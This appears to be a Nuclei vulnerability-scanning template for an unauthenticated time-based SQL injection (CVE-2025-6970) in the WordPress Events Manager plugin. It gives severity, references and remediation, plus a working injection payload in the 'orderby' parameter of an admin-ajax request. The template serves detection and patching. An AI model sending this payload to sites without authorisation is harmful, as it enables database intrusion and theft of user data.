WordPress Events Manager <= 7.0.3 - SQL Injection

id: CVE-2025-6970

info:
  name: WordPress Events Manager <= 7.0.3 - SQL Injection
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    An attacker can exploit this vulnerability to perform time-based SQL injection attacks, potentially extracting sensitive information from the database including user credentials, personal information, and other confidential data.
  remediation: |
    Update the Events Manager plugin to version 6.6.5 or 7.0.4 or later which fixes this vulnerability. If immediate update is not possible, consider temporarily disabling the plugin until the fix can be applied.
  reference:
    - https://wpscan.com/vulnerability/CVE-2025-6970
    - https://patchstack.com/database/vulnerability/events-manager/wordpress-events-manager-calendar-bookings-tickets-and-more-plugin-7-0-3-unauthenticated-sql-injection-via-orderby-parameter
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/events-manager/events-manager-703-unauthenticated-sql-injection-via-orderby-parameter
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6970
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6970
    cwe-id: CWE-89
    epss-score: 0.56369
    epss-percentile: 0.99062
    cpe: cpe:2.3:a:wp-events-plugin:events_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wp-events-plugin
    product: events_manager
    publicwww-query: "/wp-content/plugins/events-manager/"
  tags: cve,cve2025,events-manager,sqli,time-based,wordpress,wpscan,wp-plugin,wp,vuln

http:
  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=search_events&orderby=1*(select(sleep(8)))

    matchers:
      - type: dsl
        dsl:
          - "duration>=8"
          - "status_code == 200"
          - "contains_all(body, 'em-item-info', 'em-item-title', 'em-item-desc')"
        condition: and